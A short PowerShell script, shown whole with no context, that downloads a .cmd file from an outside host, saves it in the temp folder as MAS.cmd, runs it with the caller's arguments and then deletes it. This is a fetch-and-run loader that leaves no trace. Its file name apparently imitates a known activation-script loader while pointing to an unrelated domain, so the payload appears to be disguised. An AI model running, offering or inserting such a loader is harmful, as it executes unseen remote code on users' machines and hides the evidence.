# Enable TLSv1.2 for compatibility with older clients [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor [System.Net.SecurityProtocolType]::Tls12 $DownloadURL = 'https://test.lmntrix.fr/scripts/test.cmd' $FilePath = "$env:TEMP\MAS.cmd" $ScriptArgs = "$args " try { Invoke-WebRequest -Uri $DownloadURL -UseBasicParsing -OutFile $FilePath -ErrorAction Stop } catch { Write-Error $_ Return } if (Test-Path $FilePath) { Start-Process $FilePath $ScriptArgs -Wait $item = Get-Item -LiteralPath $FilePath $item.Delete() }